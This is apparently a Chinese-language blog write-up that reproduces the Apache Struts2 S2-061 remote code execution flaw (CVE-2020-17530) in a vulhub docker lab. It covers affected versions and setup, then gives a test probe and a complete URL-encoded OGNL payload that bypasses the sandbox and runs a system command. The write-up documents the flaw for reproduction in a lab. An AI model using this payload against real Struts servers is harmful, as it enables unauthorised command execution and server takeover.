1. 程式人生 > 其它 >Struts2 S2-061 遠端命令執行漏洞(CVE-2020-17530)復現

Struts2 S2-061 遠端命令執行漏洞(CVE-2020-17530)復現

Struts2 S2-061 遠端命令執行漏洞(CVE-2020-17530)復現

0x00 漏洞介紹

Struts2框架是一個用於開發Java EE網路應用程式的開放原始碼網頁應用程式架構。它利用並延伸了Java Servlet API,鼓勵開發者採用MVC架構。Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更加整潔的MVC設計模式實現的Web應用程式框架。

0x01 漏洞概述

Apache Struts於2020年12月08日披露 S2-061 Struts 遠端程式碼執行漏洞(CVE-2020-17530),在使用某些tag等情況下可能存在OGNL表示式注入漏洞,從而造成遠端程式碼執行,可能照成控制伺服器等危害。S2-061是對S2-059沙盒進行的繞過

0x02 影響範圍

Apache Struts 2.0.0-2.5.25

0x03 環境搭建

  1. s2-061漏洞搭建漏洞環境較為複雜而本次漏洞是對S2-059漏洞修復後的繞過,所以這裡使用vluhub中的docker環境進行搭建,下載最新的vluhub,vluhub下載地址:https://github.com/vulhub/vulhub

  2. 因為使用docker搭建,在虛擬機器中需要安裝docker以及安裝docker-compose命令,安裝方法請自行百度安裝

  3. vulhub下載完成後傳入虛擬機器解壓進入s2-061

    cd vulhub/struts2/s2-061

  4. 進入目錄後使用docker-compose up -d 啟動漏洞環境

  5. 在瀏覽器訪問目標地址:http://192.168.87.128:8080

0x04 漏洞復現

  1. 在url處使用一下payload驗證漏洞是否存在。注:需要使用url編碼,在檢視元素檢視結果

?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d

  1. 方法一,可以看到執行相加,這裡直接構造payload執行命令

    ?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}